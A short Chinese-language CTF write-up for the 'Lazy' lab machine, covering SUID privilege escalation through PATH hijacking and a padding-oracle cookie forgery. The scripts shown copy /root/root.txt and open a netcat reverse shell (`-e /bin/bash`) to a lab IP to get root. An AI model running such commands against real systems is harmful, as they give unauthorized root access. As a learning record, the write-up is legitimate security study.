Lazy(密码学相关)
uname -a
Linux LazyClown 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686 i686 i686 GNU/Linux
i686说明是32位的系统版本
1 | |
#!/bin/sh
more /root/root.txt > /home/mitsos/root.txt
1 | |
#!/bin/bash
more chmod a+r /home/mitsos/root.txt
1 | |
#!/bin/bash
/home/mitsos/netcat -e /bin/bash 10.10.14.7 1233

即可获得一个root shell
## 总结
学习到了一种新的suid提权方式,虽然有suid权限的elf程序不`nmap|vim|find|bash|more|less|nano|cp`这些程序其中的任何一种,但是通过添加环境变量,可以顺带执行shell脚本。
这个突破防线的方式,通过伪造cookies,是由于密码算法使用不当,导致攻击者可以猜测出admin的cookies,从而登陆web。
Padding Oracle Attack,利用条件很苛刻。
也许是我对密码学的东西知之甚少。不知道在实际攻击过程中,这种方式是否常见。